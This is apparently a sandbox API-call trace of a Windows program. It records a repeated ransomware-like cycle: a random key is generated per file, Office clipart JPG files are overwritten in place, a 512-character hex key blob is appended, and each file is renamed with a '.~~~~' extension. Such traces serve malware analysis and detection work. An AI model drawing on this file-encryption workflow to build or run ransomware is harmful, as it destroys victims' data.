	[0107.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6240
	[0107.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6240 | out: hHeap=0x300000) returned 1
	[0107.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3070
	[0107.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827548
	[0107.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3070 | out: hHeap=0x300000) returned 1
	[0107.663] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.663] GetLastError () returned 0x0
	[0107.664] GetLastError () returned 0x0
	[0107.664] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.664] GetLastError () returned 0x0
	[0107.848] GetLastError () returned 0x0
	[0107.850] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffad3d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.851] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x52c3, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x1f8fec0*=0x52c3, lpOverlapped=0x0) returned 1
	[0107.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.853] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.853] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.853] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.853] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.853] CloseHandle (hObject=0x138) returned 1
	[0107.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0107.854] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.~~~~")) returned 1
	[0108.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.109] GetLastError () returned 0x0
	[0108.117] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.118] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.118] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.118] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22810803202) returned 1
	[0108.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa1cdb90, dwHighDateTime=0x1d60e1e)) 
	[0108.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807aa8
	[0108.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807aa8 | out: hHeap=0x300000) returned 1
	[0108.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827ff8
	[0108.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.119] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.119] GetLastError () returned 0x0
	[0108.119] GetLastError () returned 0x0
	[0108.119] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.119] GetLastError () returned 0x0
	[0108.119] GetLastError () returned 0x0
	[0108.124] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.125] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.127] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.127] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.127] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.127] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.128] CloseHandle (hObject=0x138) returned 1
	[0108.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.130] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.~~~~")) returned 1
	[0108.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.132] GetLastError () returned 0x0
	[0108.133] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.135] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.135] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.135] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22812514256) returned 1
	[0108.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa1f3cf0, dwHighDateTime=0x1d60e1e)) 
	[0108.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807ae0
	[0108.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807ae0 | out: hHeap=0x300000) returned 1
	[0108.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828090
	[0108.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.136] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.136] GetLastError () returned 0x0
	[0108.137] GetLastError () returned 0x0
	[0108.137] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.137] GetLastError () returned 0x0
	[0108.137] GetLastError () returned 0x0
	[0108.142] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.142] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.144] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.144] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.145] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.145] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.145] CloseHandle (hObject=0x138) returned 1
	[0108.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.~~~~")) returned 1
	[0108.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.147] GetLastError () returned 0x0
	[0108.147] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.149] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.149] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.149] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22813908301) returned 1
	[0108.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa219e50, dwHighDateTime=0x1d60e1e)) 
	[0108.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807b18
	[0108.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807b18 | out: hHeap=0x300000) returned 1
	[0108.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28281c0
	[0108.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.150] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.150] GetLastError () returned 0x0
	[0108.150] GetLastError () returned 0x0
	[0108.150] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.150] GetLastError () returned 0x0
	[0108.151] GetLastError () returned 0x0
	[0108.228] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.228] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0108.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.232] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.232] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.233] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.233] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.233] CloseHandle (hObject=0x138) returned 1
	[0108.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.~~~~")) returned 1
	[0108.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.305] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.305] GetLastError () returned 0x0
	[0108.306] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.307] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.307] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0108.308] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22829775630) returned 1
	[0108.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaa370ab0, dwHighDateTime=0x1d60e1e)) 
	[0108.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6668
	[0108.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6668 | out: hHeap=0x300000) returned 1
	[0108.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2828258
	[0108.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.309] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0108.309] GetLastError () returned 0x0
	[0108.309] GetLastError () returned 0x0
	[0108.309] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0108.309] GetLastError () returned 0x0
	[0108.309] GetLastError () returned 0x0
	[0108.323] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffea011, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.323] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x15fef, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x15fef, lpOverlapped=0x0) returned 1
	[0108.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.325] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.325] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.325] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.325] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.326] CloseHandle (hObject=0x138) returned 1
	[0108.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.326] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.~~~~")) returned 1
	[0108.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.327] GetLastError () returned 0x0
	[0108.327] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0108.329] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.329] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0108.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0108.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
